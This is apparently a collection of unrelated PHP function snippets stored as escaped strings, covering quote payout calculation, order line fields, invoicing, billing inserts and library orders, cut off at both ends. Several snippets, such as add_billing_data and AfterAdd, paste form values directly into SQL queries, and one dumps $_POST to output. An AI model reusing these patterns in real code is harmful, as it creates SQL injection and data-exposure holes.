$cabinet->cabinet->vendor->multiplier) * .40;\n $this->forFrugal += $add; // Frugal gets 40% of the cabprice\n $this->setDebug(\"40% of {$cabinet->cabinet->frugal_name} to Frugal\", $add);\n $amt = ($cabinet->measure) ? 500 : 250;\n $this->forDesigner += $amt;\n $this->setDebug(\"Field Measure for Designer (Y=500/N=250)\", $amt);\n $this->forFrugal += 250; // for cabinet buildup.\n $this->setDebug(\"Frugal got $250 for Buildup\", 250);\n switch ($cabinet->location)\n {\n case 'North':\n $this->forFrugal += 300;\n $this->setDebug(\"Delivery North\", 300);\n break;\n case 'South':\n $this->forFrugal += 200;\n $this->setDebug(\"Delivery South\", 200);\n break;\n default:\n $this->forFrugal += 500;\n $this->setDebug(\"Further than 50m\", 500);\n break;\n }\n } // fe\n }\n else\n {\n if ($this->quote->type == 'Granite Only')\n {\n $this->forInstaller = 0;\n $this->forPlumber = 350;\n $this->forElectrician = 0;\n //$this->appElectrician = 0 ;\n //$this->forDesigner = 0;\n }\n else\n {\n if ($this->quote->type == \"Cabinet and Install\" || $this->quote->type == 'Builder')\n {\n if ($this->quote->type == 'Cabinet and Install')\n {\n foreach ($this->quote->cabinets AS $cabinet)\n {\n $add = ($cabinet->price * $cabinet->cabinet->vendor->multiplier) * .40;\n $this->forFrugal += $add; // Frugal gets 40% of the cabprice\n $this->setDebug(\"40% of {$cabinet->cabinet->frugal_name} to Frugal\", $add);\n }\n\n $this->forInstaller += $this->instItems * 20; // get 20 per installable item not attach\n $this->forFrugal += 250; // For delivery\n $this->forFrugal += 250; // for cabinet buildup.\n $this->forFrugal += $this->instItems * 10; // Cabinet + Install gets $10 for frugal.\n $this->forFrugal += $this->attCount * 30; // Attachment Count.\n } // If it's cabinet install\n else\n {\n if ($this->instItems < 40)\n {\n $this->forInstaller += 500;\n }\n else\n {\n $remainder = $this->instItems - 40;\n $this->forInstaller += 500;\n $this->forInstaller += $remainder * 10;\n } // more than 40\n } // If builder\n } // if cabinet and install or builder\n else\n {\n if ($this->cabItems <= 35)\n {\n $this->forFrugal += $this->getSetting('fL35');\n }\n else\n {\n if ($this->cabItems > 35 && $this->cabItems <= 55)\n {\n $this->forFrugal += $this->getSetting('fG35L55');\n }\n else\n {\n if ($this->cabItems > 55 && $this->cabItems <= 65)\n {\n $this->forFrugal += $this->getSetting('fG55L65');\n }\n else\n {\n if ($this->cabItems > 65 && $this->cabItems <= 75)\n {\n $this->forFrugal += $this->getSetting('fG65L75');\n }\n else\n {\n if ($this->cabItems > 75 && $this->cabItems <= 85)\n {\n $this->forFrugal += $this->getSetting('fG75L85');\n }\n else\n {\n if ($this->cabItems > 85 && $this->cabItems <= 94)\n {\n $this->forFrugal += $this->getSetting('fG85L94');\n }\n else\n {\n if ($this->cabItems > 94 && $this->cabItems <= 110)\n {\n $this->forFrugal += $this->getSetting('fG94L110');\n }\n else\n {\n if ($this->cabItems > 110)\n {\n $this->forFrugal += $this->getSetting('fG110');\n }\n }\n }\n }\n }\n }\n }\n }\n\n $this->forFrugal += ($this->attCount * 20);\n $this->setDebug(\"Frugal gets Attachment count * 20\", $this->attCount * 20);\n $this->forInstaller += ($this->instItems * 20);\n $this->setDebug(\"Installer gets Cabinet Installable ($this->instItems * 20)\",\n $this->instItems * 20);\n }\n }\n }\n\n $this->forElectrician += $this->appElectrician;\n $this->forPlumber += $this->appPlumber;\n $this->forInstaller += $this->accInstaller;\n $this->forFrugal += $this->accFrugal;\n // Additional - LED Lighting let's add this.\n $this->forDesigner += $this->designerLED;\n $this->forFrugal += $this->frugalLED;\n $this->forElectrician += $this->electricianLED;\n\n // No electrician or plumber if cabinet + install\n // For Frugal + on Quote and remove plumber and electrician rates.\n if ($this->quote->type == 'Cabinet and Install' || $this->quote->type == 'Cabinet Only')\n {\n $this->forPlumber = 0;\n $this->forElectrician = 0;\n }\n if ($this->quote->type == 'Cabinet Only')\n {\n $this->forInstaller = 0;\n }\n\n if ($this->quote->type == 'Granite Only')\n {\n $this->forElectrician = 0;\n }\n /*\n if ($this->quote->type == 'Cabinet Small Job')\n {\n if (!isset($this->gPrice))\n {\n $this->gPrice = 0;\n }\n\n $gMarkup = $this->gPrice * .2;\n $this->forFrugal += $gMarkup;\n\n $this->setDebug(\"Small Job Marks up Granite 20%\", $gMarkup);\n $sTotal = 0;\n if (isset($this->meta['sinks']))\n {\n foreach ($this->meta['sinks'] AS $sink)\n {\n if (!$sink)\n {\n continue;\n }\n $sink = Sink::find($sink);\n $sTotal += $sink->price;\n }\n $sMarkup = $sTotal * .2;\n $this->setDebug(\"Small Job Marks up Sink Costs 20%\", $sMarkup);\n $this->forFrugal += $sMarkup;\n }\n }\n */\n if ($this->quote->type == 'Cabinet Small Job')\n {\n $markup = $this->total * .4;\n $this->setDebug(\"Applying 40% Markup to Frugal for Cabinet Small Job\", $markup);\n $this->forFrugal = $markup;\n }\n\n // Add for installer to total\n $this->total += $this->forInstaller;\n $this->setDebug(\"Applying Installer Payouts to Quote\", $this->forInstaller);\n $this->total += $this->forElectrician;\n $this->setDebug(\"Applying Electrician Payouts to Quote\", $this->forElectrician);\n $this->total += $this->forPlumber;\n $this->setDebug(\"Applying Plumber Payouts to Quote\", $this->forPlumber);\n if ($this->quote->type != 'Builder')\n {\n $this->total += $this->forFrugal;\n $this->setDebug(\"Applying Frugal Payouts to Quote\", $this->forFrugal);\n }\n $this->total += $this->forDesigner;\n $this->setDebug(\"Applying Designer Payouts to Quote\", $this->forDesigner);\n if ($this->quote->type == 'Builder')\n {\n if ($this->quote->markup == 0)\n {\n $this->quote->markup = 30;\n $this->quote->save();\n }\n\n $perc = $this->quote->markup / 100;\n $markup = $this->total * $perc;\n $this->total += $markup;\n $this->setDebug(\"Applying {$this->quote->markup}% to Total For Builder Markup\", $markup);\n $this->forFrugal = $markup;\n }\n\n }", "protected function buildQtyItemsFields(): void\n {\n //====================================================================//\n // Order Line Quantity\n $this->fieldsFactory()->create(SPL_T_INT)\n ->identifier(\"quantity\")\n ->inList(\"lines\")\n ->name(\"[L] Quantity\")\n ->description(\"[L] Absolute Ordered Quantity\")\n ->group(\"Items\")\n ->microData(\n \"http://schema.org/QuantitativeValue\",\n $this->connector->hasLogisticMode() ? \"toShip\" : \"value\"\n )\n ->association(\"title@lines\", \"quantity@lines\", \"price@lines\")\n ->isReadOnly()\n ;\n //====================================================================//\n // Order Line Quantity with Refunds\n $this->fieldsFactory()->create(SPL_T_INT)\n ->identifier(\"quantity_with_refunds\")\n ->inList(\"lines\")\n ->name(\"[L] Qty with refunds\")\n ->description(\"[L] Ordered Quantity minus Refunded Quantities\")\n ->group(\"Items\")\n ->microData(\n \"http://schema.org/QuantitativeValue\",\n $this->connector->hasLogisticMode() ? \"value\" : \"toShip\"\n )\n ->association(\"title@lines\", \"quantity@lines\", \"price@lines\")\n ->isReadOnly()\n ;\n //====================================================================//\n // Order Line Refunded Quantity\n $this->fieldsFactory()->create(SPL_T_INT)\n ->identifier(\"quantity_refunded\")\n ->inList(\"lines\")\n ->name(\"[L] Refunded Qty\")\n ->description(\"[L] Refunded/Returned Quantities\")\n ->group(\"Items\")\n ->microData(\"http://schema.org/QuantitativeValue\", \"refunded\")\n ->association(\"title@lines\", \"quantity@lines\", \"price@lines\")\n ->isReadOnly()\n ;\n }", "public function __tallyUpInvoice() {\n\n $this->__itemTotals();\n\n $subTotal = $this->__subtotal($this->request->data['items']);\n\n //$taxTotal = $this->__tax($subTotal, $this->request->data['Invoice']['taxRate']);\n\n //$taxTotal = $this->__tax($this->request->data['items']);\n\n //$this->request->data['total'] = $subTotal + $taxTotal;\n $this->request->data['total'] = $subTotal;\n\n //$this->request->data['subTotal'] = $subTotal;\n\n //$this->request->data['taxTotal'] = $taxTotal;\n\n return true;\n }", "public function onBeforeWrite() {\n parent::onBeforeWrite();\n\n // See if this order was just marked paid, if so reduce quantities for\n // items.\n if($this->isChanged(\"Status\") && $this->Status == \"paid\") {\n foreach($this->Items() as $item) {\n $product = $item->MatchProduct;\n\n if($product->ID && $product->Quantity) {\n $new_qty = $product->Quantity - $item->Quantity;\n $product->Quantity = ($new_qty > 0) ? $new_qty : 0;\n $product->write();\n }\n }\n }\n }", "function add_billing_data($billObj) {\n\n $item = new stdClass();\n $item->trans_id = $billObj->transId;\n $item->cardholder = $billObj->billTo->firstName . ' ' . $billObj->billTo->lastName;\n $item->type = 'a';\n $item->address = $billObj->billTo->address;\n $item->state = $billObj->billTo->state;\n $item->city = $billObj->billTo->city;\n $item->zip = $billObj->billTo->zip;\n $item->pdate = time();\n\n $exists = $this->is_billing_data_exists($item->trans_id);\n if ($exists == 0) {\n $query = \"insert into mdl_billing_data \"\n . \"(transaction_id,\"\n . \"cardholder,\"\n . \"type,\"\n . \"address,\"\n . \"state,\"\n . \"city,\"\n . \"zip,\"\n . \"pdate) \"\n . \"values ('$item->trans_id',\"\n . \"'\" . addslashes($item->cardholder) . \"',\"\n . \"'$item->type',\"\n . \"'\" . addslashes($item->address) . \"',\"\n . \"'$item->state',\"\n . \"'\" . addslashes($item->city) . \"',\"\n . \"'$item->zip',\"\n . \"'$item->pdate')\";\n $this->db->query($query);\n } // end if $exists == 0\n }", "function pickup_field_update_order_meta( $order_id ) {\n\n //if(isset($_REQUEST['pickup_field_update_order_meta'])) return;\n //$_REQUEST['pickup_field_update_order_meta'] = 1;\n // dispatch_details\n\n print_r($_POST);\n\n //This prints out on order details after checkout\n if ( @$_POST['delivery_date'] ) {\n $str = \"Delivery scheduled for \".esc_attr( $_POST['delivery_date'] );\n $_POST['dispatch_details'] = $str;\n //new invoice field\n update_post_meta( $order_id, 'shippingMethod', sanitize_text_field( $str ) );\n\n // todo: remove these 2 lines, no longer used\n //for the field additional field in admin\n $updated = (update_post_meta( $order_id, '_dispatch_details', $str))?'true':'false'; //checkout field manager adds a _ to the front of the field name...\n hog(print_r(array('billycart', $order_id, \"_dispatch_details ($updated): \".$str),true));\n }\n\n if ( @$_POST['pickup_date'] && @$_POST['pickup_time'] ) {\n //pickup time = morning or arvo,\n $str = \"Pickup scheduled for: \".esc_attr( $_POST['pickup_time'] ).\" on \".esc_attr( $_POST['pickup_date'] );\n $_POST['dispatch_details'] = $str;\n //new invoice field\n update_post_meta( $order_id, 'shippingMethod', sanitize_text_field( $str ) );\n\n // todo: remove these 2 lines, no longer used\n $updated = (update_post_meta( $order_id, '_dispatch_details', $str))?'true':'false';\n hog(print_r(array('billycart', $order_id, \"_dispatch_details ($updated): \".$str),true));\n }\n\n\n\n if ( @$_POST['pickup_date'] ) {\n //It does: update post meta for this order\n update_post_meta( $order_id, 'pickup_date', esc_attr( $_POST['pickup_date'] ) );\n }\n if ( @$_POST['pickup_time'] ) {\n update_post_meta( $order_id, 'pickup_time', esc_attr( $_POST['pickup_time'] ) );\n }\n if ( @$_POST['delivery_date'] ) {\n update_post_meta( $order_id, 'delivery_date', esc_attr( $_POST['delivery_date'] ) );\n }\n if ( @$_POST['delivery_zone_id'] ) {\n update_post_meta( $order_id, 'delivery_zone_id', esc_attr( $_POST['delivery_zone_id'] ) );\n }\n if ( @$_POST['delivery_zone_title'] ) {\n update_post_meta( $order_id, 'delivery_zone_title', esc_attr( $_POST['delivery_zone_title'] ) );\n }\n\n }", "private function backupFieldsForCount()\n {\n $this->orders_backup = $this->orders;\n $this->orders = null;\n }", "public function declareOldItems() {\n // Old itemtypes\n define(\"GENERAL_TYPE\", 0);\n define(\"COMPUTER_TYPE\", 1);\n define(\"NETWORKING_TYPE\", 2);\n define(\"PRINTER_TYPE\", 3);\n define(\"MONITOR_TYPE\", 4);\n define(\"PERIPHERAL_TYPE\", 5);\n define(\"SOFTWARE_TYPE\", 6);\n define(\"CONTACT_TYPE\", 7);\n define(\"ENTERPRISE_TYPE\", 8);\n define(\"INFOCOM_TYPE\", 9);\n define(\"CONTRACT_TYPE\", 10);\n define(\"CARTRIDGEITEM_TYPE\", 11);\n define(\"TYPEDOC_TYPE\", 12);\n define(\"DOCUMENT_TYPE\", 13);\n define(\"KNOWBASE_TYPE\", 14);\n define(\"USER_TYPE\", 15);\n define(\"TRACKING_TYPE\", 16);\n define(\"CONSUMABLEITEM_TYPE\", 17);\n define(\"CONSUMABLE_TYPE\", 18);\n define(\"CARTRIDGE_TYPE\", 19);\n define(\"SOFTWARELICENSE_TYPE\", 20);\n define(\"LINK_TYPE\", 21);\n define(\"STATE_TYPE\", 22);\n define(\"PHONE_TYPE\", 23);\n define(\"DEVICE_TYPE\", 24);\n define(\"REMINDER_TYPE\", 25);\n define(\"STAT_TYPE\", 26);\n define(\"GROUP_TYPE\", 27);\n define(\"ENTITY_TYPE\", 28);\n define(\"RESERVATION_TYPE\", 29);\n define(\"AUTHMAIL_TYPE\", 30);\n define(\"AUTHLDAP_TYPE\", 31);\n define(\"OCSNG_TYPE\", 32);\n define(\"REGISTRY_TYPE\", 33);\n define(\"PROFILE_TYPE\", 34);\n define(\"MAILGATE_TYPE\", 35);\n define(\"RULE_TYPE\", 36);\n define(\"TRANSFER_TYPE\", 37);\n define(\"BOOKMARK_TYPE\", 38);\n define(\"SOFTWAREVERSION_TYPE\", 39);\n define(\"PLUGIN_TYPE\", 40);\n define(\"COMPUTERDISK_TYPE\", 41);\n define(\"NETWORKING_PORT_TYPE\", 42);\n define(\"FOLLOWUP_TYPE\", 43);\n define(\"BUDGET_TYPE\", 44);\n\n // Old devicetypes\n define(\"MOBOARD_DEVICE\", 1);\n define(\"PROCESSOR_DEVICE\", 2);\n define(\"RAM_DEVICE\", 3);\n define(\"HDD_DEVICE\", 4);\n define(\"NETWORK_DEVICE\", 5);\n define(\"DRIVE_DEVICE\", 6);\n define(\"CONTROL_DEVICE\", 7);\n define(\"GFX_DEVICE\", 8);\n define(\"SND_DEVICE\", 9);\n define(\"PCI_DEVICE\", 10);\n define(\"CASE_DEVICE\", 11);\n define(\"POWER_DEVICE\", 12);\n }", "public function testUpdateExternalShipmentCustomFields()\n {\n }", "public function testUpdatePackingPlanCustomFields()\n {\n }", "private function setupOrderItemIndex() {\n //works from the properties set in setBackorderVars\n if (!empty($this->backorderRecord['Order']['OrderItem'])) {\n foreach ($this->backorderRecord['Order']['OrderItem'] as $boItem) {\n $this->ofb['OrderItemIndex'][$boItem['item_id']] = $boItem;\n }\n } else {\n $this->ofb['OrderItemIndex'] = array();\n }\n }", "protected function buildItemsFields(): void\n {\n //====================================================================//\n // Order Line Description\n $this->fieldsFactory()->create(SPL_T_VARCHAR)\n ->identifier(\"title\")\n ->inList(\"lines\")\n ->name(\"[L] Description\")\n ->group(\"Items\")\n ->microData(\"http://schema.org/partOfInvoice\", \"description\")\n ->association(\"title@lines\", \"quantity@lines\", \"price@lines\")\n ->isReadOnly()\n ;\n //====================================================================//\n // Order Line Product Identifier\n $this->fieldsFactory()->create((string) self::objects()->encode(\"Product\", SPL_T_ID))\n ->identifier(\"product_id\")\n ->inList(\"lines\")\n ->name(\"[L] Product\")\n ->group(\"Items\")\n ->microData(\"http://schema.org/Product\", \"productID\")\n ->association(\"title@lines\", \"quantity@lines\", \"price@lines\")\n ->isReadOnly()\n ;\n //====================================================================//\n // Order Line Product SKU\n $this->fieldsFactory()->create(SPL_T_VARCHAR)\n ->identifier(\"sku\")\n ->inList(\"lines\")\n ->name(\"[L] SKU\")\n ->group(\"Items\")\n ->microData(\"http://schema.org/Product\", \"sku\")\n ->association(\"title@lines\", \"quantity@lines\", \"price@lines\")\n ->isReadOnly()\n ;\n //====================================================================//\n // Order Line Discount\n $this->fieldsFactory()->create(SPL_T_DOUBLE)\n ->identifier(\"discount\")\n ->inList(\"lines\")\n ->name(\"[L] Discount %\")\n ->group(\"Items\")\n ->microData(\"http://schema.org/Order\", \"discount\")\n ->association(\"title@lines\", \"quantity@lines\", \"price@lines\")\n ->isReadOnly()\n ;\n //====================================================================//\n // Order Line Unit Price\n $this->fieldsFactory()->create(SPL_T_PRICE)\n ->identifier(\"price\")\n ->inList(\"lines\")\n ->name(\"[L] Unit Price\")\n ->group(\"Items\")\n ->microData(\"http://schema.org/PriceSpecification\", \"price\")\n ->association(\"title@lines\", \"quantity@lines\", \"price@lines\")\n ->isReadOnly()\n ;\n //====================================================================//\n // Order Line Tax Name\n $this->fieldsFactory()->create(SPL_T_VARCHAR)\n ->identifier(\"tax_name\")\n ->inList(\"lines\")\n ->name(\"[L] VAT Tax Code\")\n ->group(\"Items\")\n ->microData(\"http://schema.org/PriceSpecification\", \"valueAddedTaxName\")\n ->association(\"title@lines\", \"quantity@lines\", \"price@lines\")\n ->isReadOnly()\n ;\n }", "public function updateInvoiceDetail($pid, $iid, $qty, $selling_price, $total)\n {\n }", "function AfterAdd(&$values,&$keys,$inline,&$pageObject)\n{\n\n\t\tglobal $conn;\n$proid= $keys['proid'];\n$bill_date=$values['bill_date'];\n$amount_bill=$values['amount'];\n$bill_no=$values['bill_no'];\n$item=$values['item'];\n$ProgramID = $values['ProgramID'];\n$BatchID = $values['BatchID'];\n\n//get related student according to intake , branch, and program\n$sql_student = \"select StudentID from student_info where DipID='$ProgramID' AND BatchID='$BatchID' AND Status='Active'\";\n$q_student = db_query($sql_student,$conn);\n\n//insert all program billing item to related student program bill\nwhile($row_student=db_fetch_array($q_student))\n{ \n$studentID=$row_student['StudentID'];\n$sql_insert=\"INSERT INTO student_billing (proid,date,amount,amount_balance,bill_no,item,studentID,status)\nVALUES ('$proid','$bill_date','$amount_bill','$amount_bill','$bill_no','$item','$studentID','Pending')\";\ndb_exec($sql_insert,$conn);\t\n}\n\n\n;\t\t\n}", "function getQuotationItems($qid)\n {\n $where = \"id='\".$qid.\"'\";\n $result = $this->dList($where);\n $itemArr = $this->getValues($result[0][4],$this->logUser);\n\t$cusItemArr = $this->toArray($result[0][4]);\n\t$n=0;$this->grandTotal=0;$this->itemData='';\n\tforeach ($itemArr as &$value) {\n\t\t$arr[$n][0] = $value[0];\n\t\t$arr[$n][0]['cp'] = $cusItemArr[$value[0]['id']]['cp'];\n\t\t$arr[$n][0]['order'] = $cusItemArr[$value[0]['id']]['order'];\n\t\t$this->itemData[$value[0]['id']]['cp']=$arr[$n][0]['cp'] ;\n\t\tif($cusItemArr[$value[0]['id']]['cp'] && $arr[$n][0]['qty']){\n\t\t\n\t\t$arr[$n][0]['totle'] = $cusItemArr[$value[0]['id']]['cp'] * $arr[$n][0]['qty'];\n\t\t }elseif($cusItemArr[$value[0]['id']]['cp'])\n\t\t {\n\t\t\t $arr[$n][0]['totle'] = $cusItemArr[$value[0]['id']]['cp'];\n\t\t }else\n\t\t {\n\t\t\t switch($arr[$n][0]['type']){\n\t\t\t\tcase\"M\": {\n\t\t\t $arr[$n][0]['totle'] = ($arr[$n][0]['qty'])? $arr[$n][0][6] * $arr[$n][0]['qty'] : $arr[$n][0][6];\n\t\t\t\t} break;\n\t\t\t\tcase\"S\":{\n\t\t\t $arr[$n][0]['totle'] = ($arr[$n][0]['qty']) ? $arr[$n][0][10] * $arr[$n][0]['qty'] : $arr[$n][0][10];\n\t\t\t\t}break;\n\t\t\t\tcase\"C\":{\n\t\t\t $arr[$n][0]['totle'] = ($arr[$n][0]['qty']) ? $arr[$n][0][10] * $arr[$n][0]['qty'] : $arr[$n][0][10];\n\t\t\t\t}break;\n\t\t\t }\n\t\t }\n\t\t$this->grandTotal+=$arr[$n][0]['totle'];\n\t\t$n++;\n\t}\n\n if(!empty($arr))\n {usort($arr, array(\"Quotation\", \"compare\"));}\n\n\t return $arr;\n }", "public function updateQuantity()\n {\n $this->load('itemAddressFiles');\n $quantity = 0;\n foreach ($this->itemAddressFiles as $addressFileLink) {\n $quantity += $addressFileLink->count;\n }\n $quantity += $this->mail_to_me;\n $this->quantity = $quantity;\n $this->save();\n $this->_calculateTotal();\n }", "protected function _updatefields() {}", "function ooffice_write_item( $item ) {\r\n global $odt;\r\n if ($item){\r\n $code = $item->code_item;\r\n $description_item = $item->description_item;\r\n $ref_referentiel = $item->ref_referentiel;\r\n $ref_competence = $item->ref_competence;\r\n\t\t\t$type_item = $item->type_item;\r\n\t\t\t$poids_item = $item->poids_item;\r\n\t\t\t$empreinte_item = $item->empreinte_item;\r\n\t\t\t$num_item = $item->num_item;\r\n $odt->SetFont('Arial','B',9); \r\n \t $odt->Write(0, recode_utf8_vers_latin1(trim(stripslashes($code))));\r\n \t \t$odt->Ln(1);\r\n \t \t$odt->SetFont('Arial','I',9);\r\n \t $odt->Write(0, recode_utf8_vers_latin1(trim(stripslashes($description_item))));\r\n \t $odt->Ln(1);\r\n \t $odt->SetFont('Arial','',9);\r\n $odt->Write(0, recode_utf8_vers_latin1(trim(get_string('t_item','referentiel').\" : \".$type_item.\", \".get_string('p_item','referentiel').\" : \".$poids_item.\", \".get_string('e_item','referentiel').\" : \".$empreinte_item)));\r\n $odt->Ln(1);\r\n } \r\n }", "public function testUpdateOrderCustomFields()\n {\n }", "public function add_bill_item($action, $bill_id, $particular, $qnt = NULL, $amt = NULL, $mrp = NULL, $item_id = NULL, $tax_amount = NULL,$tax_id = NULL) {\r\n\r\n\t\t$data['bill_id'] = $bill_id;\r\n\r\n\t\t$data['particular'] = $particular;\r\n\r\n\t\t$data['quantity'] = $qnt;\r\n\r\n\t\t$data['amount'] = $amt;\r\n\r\n\t\t$data['mrp'] = $mrp;\r\n\r\n\t\t$data['type'] = $action;\r\n\r\n\t\t$data['item_id'] = $item_id;\r\n\r\n\t\t$data['clinic_code'] = $this->session->userdata('clinic_code');\r\n\r\n\t\t$data['tax_amount'] = $tax_amount;\r\n\r\n\t\t$data['tax_id'] = $tax_id;\r\n\r\n\r\n\r\n\t\tif ($item_id != NULL){\r\n\r\n\t\t\t$query = $this->db->get_where('bill_detail', array('bill_id ' => $bill_id, 'item_id ' => $item_id));\r\n\r\n\t\t\tif ($query->num_rows() > 0){\r\n\r\n\t\t\t\t$bill_detail = $query->row_array();\r\n\r\n\t\t\t\t$data['quantity'] = $qnt + $bill_detail['quantity'];\r\n\r\n\t\t\t\t$data['amount'] = $amt + $bill_detail['amount'];\r\n\r\n\t\t\t\t$data['sync_status'] = 0;\r\n\r\n\t\t\t\t$this->db->update('bill_detail', $data,array('bill_id ' => $bill_id, 'item_id ' => $item_id));\r\n\r\n\t\t\t\t//echo $this->db->last_query().\"<br/>\";\r\n\r\n\t\t\t}else{\r\n\r\n\t\t\t\t$this->db->insert('bill_detail', $data);\r\n\r\n\t\t\t\t$bill_detail_id = $this->db->insert_id();\r\n\r\n\t\t\t\t//echo $this->db->last_query().\"<br/>\";\r\n\r\n\t\t\t}\r\n\r\n\t\t}else{\r\n\r\n\t\t\t$this->db->insert('bill_detail', $data);\r\n\r\n\t\t\t$bill_detail_id = $this->db->insert_id();\r\n\r\n\t\t\t//echo $this->db->last_query().\"<br/>\";\r\n\r\n\t\t}\r\n\r\n\t\tif($action == \"tax\"){\r\n\r\n\t\t\t$total_amount = 0;\r\n\r\n\t\t\t$tax_amount = $amt;\r\n\r\n\t\t}else{\r\n\r\n\t\t\t$total_amount = $amt;\r\n\r\n\t\t}\r\n\r\n\r\n\r\n $sql = \"update \" . $this->db->dbprefix('bill') . \" set sync_status = 0,total_amount = total_amount + ? where bill_id = ?;\";\r\n\r\n $this->db->query($sql, array($total_amount, $bill_id));\r\n\r\n\t\t//echo $this->db->last_query().\"<br/>\";\r\n\r\n\r\n\r\n\t\t$total_tax_amount=$tax_amount;\r\n\r\n\t\t$sql = \"update \" . $this->db->dbprefix('bill') . \" set sync_status = 0,tax_amount = tax_amount + ? where bill_id = ?;\";\r\n\r\n $this->db->query($sql, array($total_tax_amount, $bill_id));\r\n\r\n\t\t//echo $this->db->last_query().\"<br/>\";\r\n\r\n\r\n\t\t//Due Amount \r\n\t\t/*$due_amount = $total_amount + $tax_amount;\r\n\r\n\t\t$sql = \"update \" . $this->db->dbprefix('bill') . \" set sync_status = 0,due_amount = due_amount + ? where bill_id = ?;\";\r\n\r\n $this->db->query($sql, array($due_amount, $bill_id));\r\n\r\n\t\t//echo $this->db->last_query().\"<br/>\";*/\r\n\t\treturn $bill_detail_id;\r\n\r\n }", "public function collect(\n Quote $quote,\n ShippingAssignmentInterface $shippingAssignment,\n Total $total\n ) {\n parent::collect($quote, $shippingAssignment, $total);\n\n $items = $shippingAssignment->getItems();\n if (!count($items)) {\n return $this;\n }\n\n $amount = 0;\n \n\n /* foreach($quote->getItemsCollection() as $_quoteItem){\n $amount += $_quoteItem->getQty() * \\Magento360\\CustomeName\\Pricing\\Adjustment::ADJUSTMENT_VALUE;\n }*/\n if ($this->sessionFactory->create()->isLoggedIn()) {\n $amount = $this->addAdminFee($quote,$amount);\n }\n\n /*$total->setTotalAmount(self::COLLECTOR_TYPE_CODE, $amount);\n $total->setBaseTotalAmount(self::COLLECTOR_TYPE_CODE, $amount);\n $total->setCustomAmount($amount);\n $total->setBaseCustomAmount($amount);\n $total->setGrandTotal($total->getGrandTotal() + $amount);\n $total->setBaseGrandTotal($total->getBaseGrandTotal() + $amount);\n */\n\n $enabled = $this->dataHelper->isModuleEnabled();\n $subtotal = $total->getTotalAmount('subtotal');\n if ($enabled) {\n //$fee = $this->dataHelper->getAdminFee();\n\n $total->setTotalAmount('custom-admin-fee', $amount);\n $total->setBaseTotalAmount('custom-admin-fee', $amount);\n /*$total->setCustomAdminFee($amount);\n $quote->setCustomAdminFee($amount);*/\n\n $total->setGrandTotal($total->getGrandTotal() + $amount);\n\n if ($this->taxHelper->isTaxEnabled()) {\n $address = $this->_getAddressFromQuote($quote);\n //$address = $this->_getAddressFromQuote($quote);\n $this->_calculateTax($address, $total);\n\n $extraTaxables = $address->getAssociatedTaxables();\n $extraTaxables[] = [\n 'code' => 'custom-admin-fee',\n 'type' => 'custom-admin-fee',\n 'quantity' => 1,\n 'tax_class_id' => $this->taxHelper->getTaxClassId(),\n 'unit_price' => $amount,\n 'base_unit_price' => $amount,\n 'price_includes_tax' => false,\n 'associated_item_code' => false\n ];\n\n $address->setAssociatedTaxables($extraTaxables);\n \n $total->setGrandTotal($total->getGrandTotal() + $address->getAdminFeeTax());\n }\n\n }\n\n return $this;\n }", "function _addItem ($quantity, $rate, $weight, $length, $width, $height, $description, $readytoship=0) {\r\n $index = $this->items_qty;\r\n $this->item_quantity[$index] = (string)$quantity;\r\n $this->item_weight[$index] = ( $weight ? (string)$weight : '0' );\r\n $this->item_length[$index] = ( $length ? (string)$length : '0' );\r\n $this->item_width[$index] = ( $width ? (string)$width : '0' );\r\n $this->item_height[$index] = ( $height ? (string)$height : '0' );\r\n $this->item_description[$index] = $description;\r\n $this->item_readytoship[$index] = $readytoship;\r\n $this->items_qty ++;\r\n $this->items_price += $quantity * $rate;\r\n }", "public function orderItem($param) { \n if (!$this->aaa->has_right('openruth', 500))\n $res->orderItemError->_value = 'authentication_error';\n else {\n $targets = $this->config->get_value('ruth', 'ztargets');\n $agencyId = self::strip_agency($param->agencyId->_value);\n if ($tgt = $targets[$agencyId]) {\n // build order\n $ord = &$order->Reservation->_value;\n $ord->LibraryNo->_value = $agencyId;\n $ord->BorrowerTicketNo->_value = $param->userId->_value;\n $ord->DisposalNote->_value = $param->orderNote->_value;\n $ord->LastUseDate->_value = self::to_zruth_date($param->orderLastInterestDate->_value);\n $ord->ServiceCounter->_value = $param->agencyCounter->_value;\n $ord->Override->_value = (self::xs_true($param->agencyCounter->_value) ? 'Y' : 'N');\n $ord->Priority->_value = $param->orderPriority->_value;\n // ?????? $ord->DisposalType->_value = $param->xxxx->_value;\n $itemIds = &$param->orderItemId;\n if (is_array($itemIds))\n foreach ($itemIds as $oid) {\n $mrid->ID->_value = $oid->_value->itemId->_value;\n if (!$mrid->TitlePartNo->_value = $oid->_value->itemSerialPartId->_value)\n $mrid->TitlePartNo->_value = 0;\n $ord->MRIDS->_value->MRID[]->_value = $mrid;\n }\n else {\n $mrid->ID->_value = $itemIds->_value->itemId->_value;\n if (!$mrid->TitlePartNo->_value = $itemIds->_value->itemSerialPartId->_value)\n $mrid->TitlePartNo->_value = 0;\n $ord->MRIDS->_value->MRID->_value = $mrid;\n }\n $xml = '<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?'.'>' . utf8_decode($this->objconvert->obj2xml($order));\n \n//print_r($ord);\n//print_r($xml);\n \n $z = new z3950();\n $z->set_target($tgt['host']);\n $z->set_database($tgt['database'].'-ophelia');\n $z->set_authentication($tgt['authentication']);\n if ($tgt['proxy']) {\n $z->set_proxy($tgt['proxy']);\n }\n $xml_ret = $z->z3950_xml_update($xml, $tgt['timeout']);\n if ($z->get_errno() == 0 && $xml_ret['xmlUpdateDoc']) {\n $dom = new DomDocument();\n $dom->preserveWhiteSpace = false;\n if ($dom->loadXML($xml_ret['xmlUpdateDoc'])) {\n if ($err = &$dom->getElementsByTagName('ErrorResponse')->item(0)) {\n verbose::log(ERROR, __FUNCTION__ . ' (' . __LINE__ . ') errno: ' . $err->getAttribute('Err') . \n ' error: ' . $err->nodeValue);\n $res->orderItemError->_value = 'unspecified error, order not possible';\n } else {\n // order at least partly ok \n foreach ($dom->getElementsByTagName('MRID') as $mrid) {\n unset($ir);\n $ir->orderItemId->_value->itemId->_value = $mrid->getAttribute('Id');\n if ($mrid->getAttribute('Tp'))\n $ir->orderItemId->_value->itemSerialPartId->_value = $mrid->getAttribute('Tp');\n if (!$mrid->nodeValue)\n $ir->orderItemOk->_value = 'true';\n elseif (!($ir->orderItemError->_value = $this->errs[$mrid->nodeValue])) \n $ir->orderItemError->_value = 'unknown error: ' . $mrid->nodeValue;\n $res->orderItem[]->_value = $ir;\n }\n }\n }\n } else {\n self::log_z_error(__FUNCTION__, __LINE__, $agencyId, $z->get_errno(), $z->get_error_string());\n $res->orderItemError->_value = 'system error';\n }\n//echo 